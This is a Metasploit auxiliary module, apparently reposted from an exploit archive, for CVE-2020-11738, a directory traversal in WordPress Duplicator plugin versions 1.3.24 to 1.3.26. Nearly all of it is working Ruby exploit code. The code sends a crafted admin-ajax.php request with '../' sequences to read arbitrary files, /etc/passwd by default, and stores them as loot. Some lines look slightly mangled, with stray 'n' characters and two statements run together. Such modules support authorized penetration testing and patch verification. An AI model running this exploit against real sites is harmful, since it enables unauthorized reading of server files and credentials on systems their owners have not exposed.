Authored by Hoa Nguyen, Ramuel Gall | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in WordPress Duplicator plugin versions 1.3.24 through 1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.

advisories | CVE-2020-11738

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Duplicator File Read Vulnerability',
'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'Duplicator' plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.},
'References' =>
[
['CVE', '2020-11738'],
['WPVDB', '10078'],
['URL', 'https://snapcreek.com/duplicator/docs/changelog']
],
'Author' =>
[
'Ramuel Gall', # Vulnerability discovery
'Hoa Nguyen - SunCSR Team' # Metasploit module
],
'DisclosureDate' => 'Feb 19 2020',
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
])
end
def check
check_plugin_version_from_readme('duplicator_download','1.3.27', '1.3.24')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^//
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'wp-admin', 'admin-ajax.php'),
'vars_get' =>
{
'action' => 'duplicator_download',
'file' => "#{traversal}#{filename}"
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
print_status('Downloading file...')
print_line("n#{res.body}n")
fname = datastore['FILEPATH']
path = store_loot(
'duplicator.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end